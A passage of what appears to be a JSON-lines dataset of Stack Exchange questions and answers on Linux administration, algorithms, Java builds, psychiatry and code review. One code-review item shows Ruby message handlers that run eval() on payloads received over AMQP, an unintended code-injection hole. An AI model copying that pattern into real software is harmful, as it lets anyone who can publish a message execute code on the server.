Temp;        Temp = swp;    }    // 4th LSB byte sort and negative numbers sort    if( Z4[Jump4] == N );    else    {        swp = Z4 + 256 ;        for( i = Z4+129 ; i != swp ; ++i )        {            *i = *(i-1) + *i;        }        *Z4 = *Z4 + *(Z4+255) ;        swp = Z4 + 128 ;        for( i = Z4+1 ; i != swp ; ++i )        {            *i = *(i-1) + *i;        }        swp = A - 1;        for( i = A+N-1 ; i != swp ; --i )        {            *(--Z4[(*i >> 24) & 255] + Temp) = *i;        }        return Temp;    }    return A;}"  , "title": "Radix Sort speed improvement"  , "tags": "performance;c;radix sort"  } 
{  "id": "_unix.339451"  , "question": "So i've edited gnome-shell.css to change the top bar text color to blue and background color to white but it doesn't do it. https://postimg.org/image/8lioi30yf/   [gnome-shell.css][1]I resterted shell ,restarted pc. What am i doing wrong?I am using fedora 25"  , "title": "Edditing gnome-shell.css doesn't changes the appearance"  , "tags": "shell;fedora;gnome"  } 
{  "id": "_cs.70787"  , "question": "j = 1;while (j <= n/2) {i = 1;while ( i <= j) {    cout << j << i;    i++;}j++}This is what I have so far: the first loop has a time-complexity of T(n) = n/2, which is of order O(n). The second loop is dependent on the iteration of the outer loop or j. For instance, when n = 8, the outer loop count is 4 and the inner loop count is 1 + 2 + 3 + 4 or 10. Therefore the inner loop appears to have the sequence (j(j+1))/2. I'm having trouble translating this to a concise time complexity. My intuition tells me the Big-O of the this code snippet is O(n^2) and that the time-complexity is T(n) = (n(n+1))/2. Please help clarify this for me. TIA"  , "title": "What is the time complexity (T(n)) and the order?"  , "tags": "algorithms;algorithm analysis;time complexity"  } 
{  "id": "_unix.211640"  , "question": "For some reasons I have to use old distro Fedora12, and yum in its default configuration is unable to locate URLs for packages.% yum search gccLoaded plugins: refresh-packagekitError: Cannot retrieve repository metadata (repomd.xml) for repository: fedora/Please verify its path and try againYUM repos configuration at /etc/yum.repos.d/fedora.repo has the following:#baseurl=http://download.fedoraproject.org/pub/fedora/linux/releases/$releasever/Everything/$basearch/os/mirrorlist=https://mirrors.fedoraproject.org/metalink?repo=fedora-$releasever&arch=$basearchThis means that the above mentions site links are no longer valid, don't exist. Are there some mirrors still keeping packages for old distros? In this situation, what URL should I provide to make it work?"  , "title": "Fedora12, yum can't find repositories"  , "tags": "linux;fedora;package management;yum"  , "accepted_answer": "I'm on fedora 20 with the same /etc/yum.repos.d/fedora.repo as you and yum canfind fedora 12 version files. Eg:$ sudo yum --releasever=12 --installroot=/tmp/ list available '*gcc*'(1/2): updates/12/x86_64/primary_db                     | 6.3 MB  00:54     (2/2): fedora/12/x86_64/primary_db                      |  12 MB  01:49     Determining fastest mirrors * fedora: ftp-stud.hs-esslingen.de * updates: ftp-stud.hs-esslingen.deAvailable Packagesgcc.x86_64                     4.4.4-10.fc12               updatesWhat googling seems to suggest is that your certificates are not uptodate.You should try a yum clean all, temporarily replace https with httpin the .repo file, and do yum reinstall ca-certificates."  } 
{  "id": "_softwareengineering.177223"  , "question": "I'm new to Java and Eclipse. One of my most recent discoveries was how Eclipse comes shipped with its own java compiler (ejc) for doing incremental builds. Eclipse seems to by default output incrementally built class files to the projRoot/bin folder.I've noticed too that many projects come with ant files to build the project that uses the java compiler built into the system for doing the production builds.Coming from a Windows/Visual Studio world where Visual Studio is invoking the compiler for both production and debugging, I'm used to the IDE having a more intimate relationship with the command-line compiler. I'm used to the project being the make file. So my mental model is a little off. Is whats produced by Eclipse ever used in production? Or is it typically only used to support Eclipse's features (ie its intellisense/incremental building/etc)? Is it typical that for the final release build of a project, that ant, maven, or another tool is used to do the full build from the command line?Mostly I'm looking for the general convention in the Eclipse/Java community. I realize that there may be some outliers out there who DO use ecj in production, but is this generally frowned upon? Or is this normal/accepted practice?"  , "title": "Is the output of Eclipse's incremental java compiler used in production? Or is it simply to support Eclipse's features?"  , "tags": "java;compiler;eclipse"  , "accepted_answer": "It would be normal to have a separate build process (e.g. with something like Maven) that does not use the Eclipse compiler which is responsible for producing the final deployable artifacts. For example, in all of my Eclipse Java projects I use:The built-in Eclipse compiler for quick testing (JUnit), debugging and local executionMaven to do the real builds (full test suite, building deployment artifacts etc.). Here Maven is using the version of the Java compiler that comes with my local JDK.TravisCI (via GitHub) to do continous integration testing (which also uses Maven, but on remote machines)You could in theory use the compiled Eclipse class files in production if you want - nothing to stop you packaging these up yourself and deploying them. But this would be a strange thing to do, since it would take a bit of effort and lose you the benefits of having a proper build setup.P.S. if you want to get good that this stuff then I strongly suggest you invest in learning Maven. It's a steep learning curve but really worth it in the long run."  } 
{  "id": "_unix.149548"  , "question": "A read() & write() loop would probably be as good as what I'm looking for, but nevertheless is anything like that around or is it impossible because of an obstacle I didn't envisage ? I'm curious"  , "title": "Is there a system call to bind a file descriptor directly into another?"  , "tags": "pipe;file copy;socket;system calls;file descriptors"  } 
{  "id": "_cogsci.894"  , "question": "The introduction of the new edition of the Diagnostic and Statistical Manual for Mental Disorders (DSM-5) is on the horizon.  With it are coming some new, evidence-based diagnoses for dissociative disorders [1], which include conditions such as dissociative fugue (which will now be classified as dissociative amnesia) and dissociative identity disorder.Fugue states have always been fascinating to me, Wikipedia states that they area rare psychiatric disorder characterized by reversible amnesia for personal identity, including the memories, personality and other identifying characteristics of individuality...Fugues are usually precipitated by a stressful episode, and upon recovery there may be amnesia for the original stressor.Post-traumatic stress disorder is also precipitated by a stressful (and potentially life threatening) episode, and causes anxiety and autonomic hyperexcitablity.I've never seen anything written about the level of stressor that can induce a fugue state, but based on their common etiology, I would assume that PTSD and fugue states are related psychologically and neurologically.To what extent is this true, are these two seemingly different end products of the same initial event?  Is there an anatomical substrate that is common to both?  Does changing the status of dissociative fugue -> dissociative amnesia mean they should be considered in isolation?[1] Spiegel, D., Loewenstein, R. J., et al. (2011), Dissociative disorders in DSM-5. Depress. Anxiety, 28: E17E45. doi: 10.1002/da.20923"  , "title": "What is the relationship between post-traumatic stress disorder and fugue states?"  , "tags": "abnormal psychology;psychiatry;ptsd"  , "accepted_answer": "Dissociative Disorders are really fascinating to me as well. Fugue states/episodes as well as dissociative identity disorder (multiple personality disorder) in particular.PTSD must be differentiated from disorders that can exhibit phenomenological similarities, such as borderline personality disorder and dissociative disorders (including dissociative amnesia). I include borderline personality disorder because it is [particularly] difficult to distinguish from PTSD, and the two can coexist or even be causally related!A stressor or traumatic event is the causative factor in the development of PTSD, by definition. As people respond to events as being traumatic differently, the stressor alone is not sufficient enough to cause the disorder. In this case, the presence of intense fear or horror is necessary. The clinical features of PTSD include avoidance and emotional numbing, among other things, and patients may present dissociative states, which is the focus of this topic.Patients with dissociative disorders do not usually have the degree  of avoidance behavior, autonomic hyperarousal, or history of trauma  that patients with PTSD report.An essential feature of dissociative amnesia is an inability to recall important personal information, usually of a traumatic or stressful nature. As in this (as well as borderline personality disorder and PTSD) disorder, many patients have histories of prior abuse or trauma.Symptoms found only in dissociative amnesia include features of recurrent blackouts, fugue states/episodes, fluctuations in skills, habits, and knowledge. Patients presenting PTSD and/or with borderline personality disorder usually don't present these symptoms. The common factor/symptom is the possible presence of dissociative episodes/states, though they may be precipitated by differing presentation of stressors.Patients with borderline personality disorder can present transient or short-lived dissociative (or even psychotic) episodes that are almost circumscribed, fleeting, or doubtful.Sorry, now I worry I may not have properly answered your question(s). Liken to how different stressors or traumatic events can be experienced in varying degrees in different people, different people can cope or respond differently to them as well. PTSD (like hypervigilance), borderline personality disorder (intense black-and-white thinking, emotional lability), and dissociative disorders (amnesia, blackouts, etc.).ReferencesDSM-V Post-Traumatic Stress DisorderDSM-V Dissociative AmnesiaKaplan and Sadock's Synopsis of Psychiatry"  } 
{  "id": "_webmaster.30318"  , "question": "One of my clients web pages has a error in the theme which calls a redundant .css file that does not exist. The page however, looks fine. Thus the client is not willing to have the error fixed. What reasons can be given for fixing the error when it does not cause any issues with the page display."  , "title": "Is a 404 on a non displaying files a problem"  , "tags": "404;error"  , "accepted_answer": "Http calls have the biggest single impact on front end performance, reducing them should be a priority for every webmaster (even just that one little one that's 404'ing).From Yahoo's performance guidelines:-80% of the end-user response time is spent on the front-end. Most of  this time is tied up in downloading all the components in the page:  images, stylesheets, scripts, Flash, etc. Reducing the number of  components in turn reduces the number of HTTP requests required to  render the page. This is the key to faster pages.If you can't fix it, at least put a blank CSS file in the right place so you don't waste time with 404's for it."  } 
{  "id": "_unix.282460"  , "question": "I successfully installed pysnmp with yoaurt S pysnmp, but when I try to execture a scipt with Python 2.7 which has import pysnmp, I get $ python2.7 test_script.txt.py Traceback (most recent call last):  File test_script.txt.py, line 85, in <module>    import pysnmpImportError: No module named pysnmpany idea what is going wrong?This might be too much, distracting oinformation, but my Arch Linux is in a VM and the company has severe restrictions on internet access from the VM. Both pacman and pip errored, but yaourt was successfulpackages (1) pysnmp-4.3.1-1Total Installed Size:  2.50 MiBNet Upgrade Size:      0.00 MiB:: Proceed with installation? [Y/n] (1/1) checking keys in keyring        [##########################] 100%(1/1) checking package integrity      [##########################] 100%(1/1) loading package files           [##########################] 100%(1/1) checking for file conflicts     [##########################] 100%(1/1) checking available disk space   [##########################] 100%(1/1) reinstalling pysnmp             [##########################] 100%"  , "title": "Python can't import pysmp on Arch Linux"  , "tags": "arch linux;software installation"  } 
{  "id": "_softwareengineering.227915"  , "question": "I've created a ZF2 view helper PageTitle (extending Zend\\View\\Helper\\AbstractHelper). As the name of the helper suggests , it is responsible for rendering the page title for each action view script.So within each action view script (not layout) I would call : echo $this->pageTitle('My Page Title', 'some-icon-class-name');This would render the required HTML output <div class=page-title>   <h1><span class=some-icon-class-name></span> My Page Title</h1> </div>The plugin also contains another view helper (button) within it; its job is to render zero or more form button elements.My trouble comes when I need to pass these page specific buttons/links. My current solution is to provide an array of 'buttons' as a third parameter.$this->pageTitle('My Page Title', 'some-icon-class-name', array(  'button label 1' => array(    'attributes' => array(      'class' => array('some-class-name', 'another-class'),      'data-foo' => 'bar',    ), )));(Above is just an example of what I have tried to demonstrate the issue. This is in fact numerous buttons, each with several 'attributes' each) I think the above approach is messy, certainly within the view. It also defeats the purpose of even having a view helper as I will need to provided this config again each time I need to reuse the page header (some pages may use other views as children).Some solutions I have considered.Create a page title service factory, per pageEach factory will create a new PageTitle plugin and inject the 'button' config into it. This is then registered ti the view plugin manager under a unique plugin name. So, as an example, I would change the call in my view to:echo $this->mySpecificPageTitle(); // no args as pre-constructedThe downside here is that I then need to create allot of factories (just so I can provide very slightly varied arguments).Provided a 'service' name to the plugin (this is similar to the navigation view helper) then then helper calls this service and it returns the required configuration.For example:echo $this->pageTitle('My Page Title', 'some-icon-class-name', 'MyButtonService');So within the helper:$buttonConfig = $serviceManager->get('MyButtonService');This however again means that I would need to create a factory for each 'MyButtonService' I need."  , "title": "Zend 'Page Tile' view helper"  , "tags": "php;zend framework"  , "accepted_answer": "I would migrate the plugin code out of the __invoke method and instead return an instance of your view helper object. From there provide methods for adding buttons which store the data temporarily in an internal data store (array). From there you then just need a render method which uses all the stored data to build the output. This way you don't have an ever increase list of parameters and can provide easier to call methods which have a specific purpose.Sample Usage:echo $this->pageTitle()->setTitle('My Title')->setIcon('some-icon')->addButton('Test Btn')->addButton('Another Button', array('class' => 'some-class'))->render();All that is required for this is an __invoke that simple does return $this and the methods above saving their inputs to internal class parameters. Your existing code can be dropped in the render method and slightly re-factored and you should be set."  } 
{  "id": "_unix.39405"  , "question": "I'm trying to build a LFS using version 7.1. I've followed all of the steps up to 5.3 and now I'm stuck because I can't change to $LFS/sources - I get the message:bash: cd: /mnt/lfs/sources: Permission deniedI'm logged in, in a new terminal, as lfs. The directory permissions (as seen from /mnt/lfs by root) are:drwx------ 6 leo  leo   4096 May 26 18:02 .drwxr-xr-x 3 root root  4096 May 21 20:43 ..drwx------ 2 root root 16384 May 21 20:24 lost+founddrwxr-xr-x 2 leo  leo   4096 May 26 18:00 patchesdrwxrwxrwt 2 lfs  root  4096 May 26 17:53 sourcesdrwxr-xr-x 2 lfs  root  4096 May 26 18:02 toolsThe mount spec for the partition is:/dev/sdb3 on /mnt/lfs type ext3 (rw)I'm far from new to UNIX and LINUX and this is really annoying me. I know it's something blindingly obvious but I just can't see it.I have restarted the machine, sourced the lfs profile (source ~/.bash_profile) but just can't seem to find the one thing I'm missing. The host system is Debian if that helps. "  , "title": "LFS can't cd to lfs/source - permission denied"  , "tags": "linux;permissions;lfs"  } 
{  "id": "_webmaster.102693"  , "question": "If you look at the console while clicking around this demo website, you'll se the loading times. It's damn fast (I get about 20ms per page from Europe).What is it making it so fast? Is it just websocket? The site's author claims it's a proprietary technology, but it sounds a bit like smoke and mirrors...Thanks for any hints!"  , "title": "What technology is making this website so fast?"  , "tags": "performance;page speed"  } 
{  "id": "_cs.47129"  , "question": "Whats the intuition behind multiplying the factor $\\log n$Master Method Case 2 (CLRS Section 4.5)If $f(n) = \\theta(n^{\\log_b a})$, then $T(n)= \\theta(n^{\\log_b a} \\log n)$In generalized form sometime it can be written asIf $f(n) = \\theta(n^{\\log_b a} log^k n)$ with $k = 0$, then $T(n) = \\theta(n^{\\log_b a} \\log^{k+1} n)$"  , "title": "Understanding Master Method's Case 2"  , "tags": "master theorem"  , "accepted_answer": "Suppose that $T(n) = aT(n/b) + n^{\\log_b a}$ and $T(1) = 1$. Now consider some $n$ which is a power of $b$, say $n = b^k$. The formula gives$$\\begin{align*}T(n) &= aT(n/b) + n^{\\log_b a} \\\\ &=a^2T(n/b^2) + a(n/b)^{\\log_b a} + n^{\\log_b a} \\\\ &=a^3T(n/b^3) + a^2(n/b^2)^{\\log_b a} + a(n/b)^{\\log_b a} + n^{\\log_b a} \\\\ &=\\cdots \\\\ &=a^kT(n/b^k) + a^{k-1}(n/b^{k-1})^{\\log_b a} + \\cdots + n^{\\log_b a} \\\\ &=a^k + a^{k-1}(n/b^{k-1})^{\\log_b a} + \\cdots + n^{\\log_b a} \\\\ &=a^k(n/b^k)^{\\log_b a} + a^{k-1}(n/b^{k-1})^{\\log_b a} + \\cdots + n^{\\log_b a}.\\end{align*}$$There are $k+1 = \\log_b n + 1$ terms in the final formula. Miraculously, all of them are equal to $n^{\\log_b a}$! (Work that out on your own.)"  } 
{  "id": "_unix.321796"  , "question": "As the title implies I am having a bit of a hardware configuration issue.I am using a MadCatz R.A.T. 7 gaming mouse, have been using this same mouse since it was first made by Saitek.  Basically the issue is that soon after signing in, the mouse buttons simply cease to function.  There is a fix listed for linux, where you need to make a config file for the mouse in X, which I have used successfully in ubuntu 16.04, but which has not worked in Debian 8.Anyone have any suggestions?"  , "title": "Not able to get MadCatz R.A.T. 7 to work in Debian 8"  , "tags": "debian"  } 
{  "id": "_codereview.48473"  , "question": "I need comments on the below code:Thread.new {EM.run do              IpamAgent::Amqp.run            end}module IpamAgent  class Amqp    class << self      def run        begin          $connection = AMQP.connect(RMQ_CONFIGURATIONS)          $connection.on_tcp_connection_loss do |conn, settings|            Rails.logger.info  <<<<<<<<<<<<<<<< [network failure] Trying to reconnect...>>>>>>>>>>>>>>>>>>>>>>>>            conn.reconnect(false, 2)          end          Rails.logger.info <<<<<<<<<<<<<<<<<<<<<<<<AMQP listening>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>          worker   = IpamAgent::MessageHandler.new          worker.start          Rails.logger.info <<<<<<<<<<<<<<<<<<<<<<<<Message handler started>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>        rescue Exception => e          Rails.logger.info <<<<<<<<<<<<<<<<<<<<<<<<Message handler Exception>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>          Rails.logger.info [error] Could not handle event of type #{e.inspect}          Rails.logger.info <<<<<<<<<<<<<<<<<<<<<<<<Message handler Exception>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>        end      end    end  endend    module IpamAgent      class MessageHandler        attr_accessor :ns_exchange, :sc_exchange, :ns_queue, :sc_queue, :service_location, :service_version, :service_name, :message_sequence_id, :presto_exchange, :presto_queue        def initialize          # Profile the code          @ns_exchange = CONFIGURATIONS[ns_exchange]          @sc_exchange = CONFIGURATIONS[sc_exchange]          @presto_exchange =  CONFIGURATIONS[presto_exchange]          @ns_queue = CONFIGURATIONS[ns_queue]          @sc_queue = CONFIGURATIONS[sc_queue]          @presto_queue =  CONFIGURATIONS[presto_queue]        end        # Create the channels, exchanges and queues        def start          ch1  = AMQP::Channel.new($connection)          ch2  = AMQP::Channel.new($connection)          ch3  = AMQP::Channel.new($connection)          @ns_x = ch1.direct(ns_exchange, :durable => true)          @ns_queue   = ch1.queue(ns_queue, :auto_delete => false)          @ns_queue.bind(@ns_x, :routing_key => @ns_queue.name).subscribe(:ack => true, &method(:handle_ns_message))          @sc_x = ch2.topic(sc_exchange, :durable => true)          @sc_queue   = ch2.queue(sc_queue, :auto_delete => false)          @sc_queue.bind(@sc_x, :routing_key => #).subscribe(:ack => true, &method(:handle_sc_message))          @presto_x = ch3.direct(presto_exchange, :durable => true)          @presto_queue   = ch3.queue(presto_queue, :auto_delete => false)          @presto_queue.bind(@presto_x, :routing_key => @presto_queue.name).subscribe(:ack => true, &method(:handle_presto_message))        end        # Handle the messages from Network service component        def handle_ns_message(headers, payload)          message_headers = JSON.parse(headers.to_json)[headers]          payload = eval(payload)          headers.ack          Rails.logger.info >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>MESSAGE FROM NS<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<          Rails.logger.info message_headers          Rails.logger.info payload          Rails.logger.info >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>MESSAGE FROM NS<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<          tenant_detail = IpamAgent::TenantDetail.where(service_instance: payload[orgId]).first          if(payload && payload.keys.include?(:responseCode))            new_tenant_detail = IpamAgent::TenantDetail.create(message: ({header => message_headers, payload => payload}), status: waiting_for_sc, service_instance: payload[orgId])            if tenant_detail && tenant_detail.service_group              publish_sgid_to_presto(tenant_detail)            else              get_sgid_from_sc(new_tenant_detail)            end          else            Rails.logger.info(Payload: #{payload}, routing key is #{message_headers})          end        end        # Retrieve the Service Group ID from Service controller        def get_sgid_from_sc(tenant_detail)          message = tenant_detail.get_sc_message          Rails.logger.info(>>>>>>>>>>>>>>>>>>>>PUBLISHING TO SC<<<<<<<<<<<<<<<<<<<<<<<)          Rails.logger.info(message)          Rails.logger.info(>>>>>>>>>>>>>>>>>>>>PUBLISHING TO SC<<<<<<<<<<<<<<<<<<<<<<<)          @sc_x.publish(message.last,  :routing_key => @sc_queue.name, :headers => message.first, :mandatory => true)        end        # Handle the messages from Service controller        def handle_sc_message(headers, payload)          message_headers = JSON.parse(headers.to_json)          headers.ack          payload = eval(payload)          Rails.logger.info(>>>>>>>>>>>>>>>>>>>>MESSAGE FROM SC<<<<<<<<<<<<<<<<<<<<<<<)          Rails.logger.info(message_headers)          Rails.logger.info(payload)          Rails.logger.info(>>>>>>>>>>>>>>>>>>>>MESSAGE FROM SC<<<<<<<<<<<<<<<<<<<<<<<)          if(payload && payload[serviceInstanceGroupId])            tenant_detail = IpamAgent::TenantDetail.find_or_save(payload)            publish_sgid_to_presto(tenant_detail)          end        end        # Shovel the NS request to PMP with Service Group ID        def publish_sgid_to_presto(tenant_detail)          tenant_details = TenantDetail.where(service_instance: tenant_detail.service_instance, status: waiting_for_sc)          tenant_details.each do |sc|            sc.update(status: success)            message = sc.get_pmp_message            Rails.logger.info(>>>>>>>>>>>>>>>>>>>>PUBLISHING TO PRESTO<<<<<<<<<<<<<<<<<<<<<<<)            Rails.logger.info(message.first)            Rails.logger.info(message.last)            Rails.logger.info(>>>>>>>>>>>>>>>>>>>>PUBLISHING TO PRESTO<<<<<<<<<<<<<<<<<<<<<<<)            @presto_x.publish(message.last,  :routing_key => @presto_queue.name, :headers => message.first, :mandatory => true)          end        end        # Receive the message from PMP presto and publsih it to Network Service        def handle_presto_message(headers, payload)          message_headers = JSON.parse(headers.to_json)          payload = eval(payload)          Rails.logger.info(>>>>>>>>>>>>>>>>>>>>MESSAGE FROM PRESTO<<<<<<<<<<<<<<<<<<<<<<<)          Rails.logger.info(headers.to_json)          Rails.logger.info(payload)          Rails.logger.info(>>>>>>>>>>>>>>>>>>>>MESSAGE FROM PRESTO<<<<<<<<<<<<<<<<<<<<<<<)          headers.ack          @ns_x.publish(payload,  :routing_key =>@ns_queue.name, :headers => headers, :mandatory => true) if (message_headers && payload)        end      end    end"  , "title": "Implementation on AMQP in Ruby"  , "tags": "ruby;ruby on rails"  } 
{  "id": "_cs.28901"  , "question": "In Computational Complexity A Modern Approach, one claim says that if $f$ is computable in time $T(n)$ by a bidirectional TM $M$, then it is computable in time $4T(n)$ by a unidirectional TM $\\tilde{M}$. How to work out the constant $4$? In my opinion, in addition to go over the edge operation, one transition in $M$ corresponds to one transition in $\\tilde{M}$, so where does constant $4$ come from?"  , "title": "How to simulate a bidirectional TM on a regular one with time factor four?"  , "tags": "turing machines;simulation;computation models"  } 
{  "id": "_cstheory.2890"  , "question": "I am looking for references for the following problem, which I feel must have been studied before. I have n items and I want to rank them.  I randomise once at the beginning of theprocess and then for each pair of items I have an x% chance of getting theright ordering, let us say independently. I then use these comparison results to rank the items.  I would like to know how good/bad the ranking can be given unbounded computation and also any methods for finding a good ranking in reasonable time.  Let us also say that there is a true total ordering under the hood.I am aware of some of the literature on binary sorting with errors but the papers I found, at least, seem to answer a different set of questions."  , "title": "Ranking with errors"  , "tags": "reference request;randomness;sorting"  , "accepted_answer": "If I understand your question correctly it is answered in Braverman and Mossel's Sorting with Noisy Information http://arxiv.org/PS_cache/arxiv/pdf/0910/0910.1191v1.pdf (see also conference version titled Noisy Sorting without Resampling IIRC.)"  } 
{  "id": "_webmaster.84149"  , "question": "My domain is hosted on GoDaddy (Thats where I purchased it form). I have Windows Exchange server setup as CNAME data. My website is designed and hosted on a another server (Not GoDaddy). How do I just tell my domain to go to this server just for Website information? For an exmaple, I changed DNS settings on my domain to this Web hosting company's DNS Settings and it broke the link to my Windows Exchagne server. How do I tell the domain to go to this web hosting server ONLY for website requests? "  , "title": "GoDaddy how to direct web hosting to another server without affecting Windows Exchange Server"  , "tags": "web hosting;dns;godaddy"  } 
{  "id": "_unix.92505"  , "question": "my yum command used to work fine , but now , when I try to use it ,it gives me an error :file:///home/user/repo/repodata/repomd.xml: [Errno 14] Could not open/read file:///home/user/repo/repodata/repomd.xmlI don't know what to do , please help me."  , "title": "error using yum in centos 6"  , "tags": "centos;yum"  , "accepted_answer": "You have one or more files in /etc/yum.repos.d/ that point to file:///home/user/repo as a basepath. Remove or correct those files and you should be okay."  } 
{  "id": "_cs.51962"  , "question": "I am reviewing some old papers for a final tomorrow, and there is a question that I'm not sure about.If a language A is Turing-Recognizable and Undecidable, what can be said of the Turing-Machine that recognizes the complement of A?To my understanding this turing machines accept states, are all those that were of the rejection states in the first Turing Machine. Also seeing as the Language is undecidable, this Turing Machine will not halt for strings that are not in the language. Can someone please tell me if my understanding is correct or not, and if not give me some clarification?"  , "title": "Undecidable language and Turing Machines"  , "tags": "computability;turing machines;undecidability;semi decidability"  } 
{  "id": "_codereview.61141"  , "question": "I'm just getting into Clojure, and I wanted to make sure I am writing code the Clojure way. The challenge I took on is Zeckendorf numbers (fairly trivial).(defn fibs-until  ([n]    (vec (if (< n 3)      (range 1 (inc n))      (concat [1 2] (fibs-until n 1 2)))))  ([n a b]    (let [fib (+ a b)]      (if (> fib n)        []        (cons fib (fibs-until n b fib))))))(defn zeckendorf  ([n]    (if (= 0 n) 0 (zeckendorf n (reverse (fibs-until n)))))  ([n fibs]    (if (= fibs [])            (let [head (first fibs) tail (rest fibs)]        (if (or (> head n) (= 0 n))          (str 0 (zeckendorf n tail))          (str 1 (zeckendorf (- n head) tail)))))))A few review questions I have:Is there a more Clojure way to do this?I noticed that I am repeating the same (overloading-esque) pattern of defining functions that have two arities, and calling out to the second in the first. Is there a better way to do this? I wanted to use [[head & tail] fibs] rather than [head (first fibs) tail (rest fibs)] but I get a stack overflow.  Why is this?"  , "title": "Zeckendorf numbers the Clojure way"  , "tags": "beginner;algorithm;clojure;fibonacci sequence"  , "accepted_answer": "Starting with your last question first, I'm surprised that you don't always get a stack overflow. Clojure does not support tail-call elimination, meaning that purely recursive functions (like both your fibs-until and zeckendorf) are likely to blow up the stack.There are various reasons why this isn't an issue in practice, first and foremost of which are Clojure's lazy sequences.Elements of a lazy sequence aren't generated until they're used. Among other things, this means that Clojure can easily handle infinite sequences. So a more idiomatic way to implement Fibonacci would be to return an infinite lazy sequence from which you can simply take however many elements you want. There are lots of ways to implement this, one of which is to simply wrap a recursive implementation with lazy-seq:user=> (defn fib [a b]  #_=>   (lazy-seq  #_=>     (cons a (fib b (+ a b)))))#'user/fibuser=> (take 10 (fib 1 1))(1 1 2 3 5 8 13 21 34 55)user=> (take 20 (fib 1 1))(1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181 6765)Or, closer to your fib-until function:user=> (take-while #(< % 100) (fib 1 1))(1 1 2 3 5 8 13 21 34 55 89)There are lots of other ways to implement Fibonacci lazily in Clojure.I'll leave a lazy version of zeckendorf as an exercise ;-)Regarding your question 2, using multiple arities the way you do is common and nothing to be concerned about IMHO."  } 
{  "id": "_unix.294569"  , "question": "I am working on a linux server remotely. Are there any command that can allow me to figure out the IP address of this linux server, so that I can ftp some files to this server."  , "title": "check ip address of a linux server to upload the file"  , "tags": "linux;networking;ip;ftp"  , "accepted_answer": "if the remote machine is directly connected to the internet:hostname -I|cut -f1otherwise, one of these:wget -qO - http://whatsmyip.me/wget -qO - http://ipinfo.io/ipwget -qO - http://ipecho.net/plain; echoIn all cases, must be run on the remote machine."  } 
{  "id": "_cs.30176"  , "question": "Or in other words, find all $v \\in V$ such that there exists a path $\\forall w \\in V$ $v \\rightarrow w$ or $w \\rightarrow  v$. This is for a directed acyclic graph. I need to find an $O(|E| + |V|)$ algorithm for this.I can see how to identify if a given vertex meets these traits (perform a BFS starting at that vertex, then do another BFS on the reverse of that graph and see if every vertex was visited in those BFSes). The obvious solution would be to run this on every vertex of the graph, but that will end up being $O(|E||V| + |V|^{2})$.I've considered identifying strongly connected components, but that doesn't seem like the right approach, since a SCC requires that $v$ and $w$ are mutually reachable, whereas this homework question requires that $v$ and $w$ are only reachable one way.Advice?"  , "title": "Finding vertices for which there either exists a path to all other vertices or other vertices have a path to them"  , "tags": "algorithms;graph theory"  , "accepted_answer": "We can assume that the DAG is connected, since otherwise the solution is trivial. Consider some topological ordering of the vertices. A vertex $v$ satisfies your condition if (1) $v$ can be reached from all vertices preceding $v$ in the ordering and (2) all vertices following $v$ in the ordering are reachable from $v$. We can check conditions (1) and (2) separately.To check condition (2), traverse the topological ordering in order, and for each vertex encountered, remove the vertex. Since this is a topological ordering, when a vertex is removed, it is a source, that is, it has no incoming edges. Condition (2) is satisfied for the vertex iff it is the unique source at that point. Condition (1) can be checked similarly by traversing the topological ordering in reverse."  } 
{  "id": "_unix.386791"  , "question": "I'm running Arch Linux with Windows 7 dual booted. I've left a hefty chunk of my drive for windows, though I don't use it much anymore. I also need more space for my root partition.So my plan is to wipe windows, increase the size of my root partition, and then create another partition left over for tertiary use.I need to know if online resizing through GParted would allow me to increase my / partition size without any hiccups: So if I wipe my windows partition and try to resize root, will I run into any trouble?PS: I've done it once on a test machine, where I had a bunch of space after my partition (unlike the case below), but I did it on a whim since there weren't any consequences.I need to know whether it may break my system.Thanks for the help! "  , "title": "Runtime root partition resizing using GParted"  , "tags": "arch linux;partition"  } 
{  "id": "_unix.58362"  , "question": "I have an odd problem with umask.My current setting is:$ umask0022$ umask -Su=rwx,g=rx,o=rxThis only works for files though and not directories:$ touch abc$ ll abc0 -rw-rw-rw- 1 user1 group1 0 Dec 12 11:39 abc$ mkdir def$ ll -d def8.0K drwxrwxrwx+ 2 user1 group1 4.0K Dec 12  2012 defCan anybody suggest why umask is not working for the directory? Any help is appreciated!This is a new Centos linux system.Edit: thanks for the comments. As some have pointed out, this doesn't work for files either.Extra information: This problem only seems to occur on the home directory which is mounted over NFS, and not on local directories. Could NFS be causing the problem somehow?"  , "title": "umask is not working for directories"  , "tags": "linux;permissions;centos;nfs;umask"  } 
{  "id": "_unix.14651"  , "question": "What is the best way to retrieve the current time zones of a number of countries, on a daily basis? (that would take into account DST changes, of course)ReliablyIf possible the Linux way (i.e. either using internal resources, or a Linux website API)(I'm on Ubuntu 10.04)"  , "title": "Retrieve countries timezones"  , "tags": "time;api"  , "accepted_answer": "If you just want the timezone, then timezones are stored in /usr/share/zoneinfo.If you want to be able to retrieve the current time for a number of different cities or countries, then you can pull them from the Date and Time Gateway."  } 
{  "id": "_unix.374901"  , "question": "I'm doing some work on offloads, and I'm looking at some of the networking offloads (LRO, TSO, GRO and GSO).All of them can be set on/off by using (example for setting LRO on):ethtool -K <interface_name> lro onLRO and TSO have counters that can be viewed by using (again, LRO example):ethtool -S <interface_name> | grep lroBut I can't find anywhere a way to check counters on GRO and GSO.Any idea if these exists, and if so how can I view them?"  , "title": "Does linux have counters for GRO/GSO?"  , "tags": "networking"  } 
